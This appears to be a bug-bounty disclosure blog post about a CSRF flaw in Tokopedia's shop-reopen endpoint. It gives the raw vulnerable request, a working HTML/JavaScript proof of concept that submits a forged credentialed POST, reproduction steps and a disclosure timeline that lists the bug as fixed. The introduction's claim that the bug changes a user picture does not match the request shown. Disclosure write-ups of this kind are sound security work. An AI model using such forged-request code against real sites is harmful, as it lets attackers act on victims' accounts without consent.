Tokopedia - CSRF On Open Store
CSRF Issue On Tokopedia,
List of bug on Tokopedia :-
-
-
-
-
Saya menemukan sebuah bug CSRF di tokopedia
Pendahuluan
bug ini bisa mengubah user picture di login seal
Vuln Request:
POST /ajax/shop/shop-status.pl?action=event_re_open HTTP/1.1Host: www.tokopedia.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0Accept: */*Accept-Language: en-US,en;q=0.5Content-Type: application/x-www-form-urlencodedContent-Length: 33Origin: nullCookie: Some CookieConnection: closeaction=event_re_open&s_id=[id toko]
POC Code:
<script>function getMe(){// retrieve page contentvar xhr = new XMLHttpRequest();
// now execute the CSRF attackxhr.open("POST", "https://www.tokopedia.com/ajax/shop/shop-status.pl?action=event_re_open", true);xhr.withCredentials="true";xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");xhr.send('action=event_re_open&s_id=2055904');
}</script><button onclick="getMe();">Let's Rock</button>
Step To Reproduce :
1. Edit id dengan id toko,
2. Save to html
3. Execute
Video : https://youtu.be/jM1M-_O2Egw ( private )
Timeline:
- 7 April 2017 => Reporting
- 10 May => Fixing & Ask Document
- Waiting Bounty ( Will be edited )
Comments
Post a Comment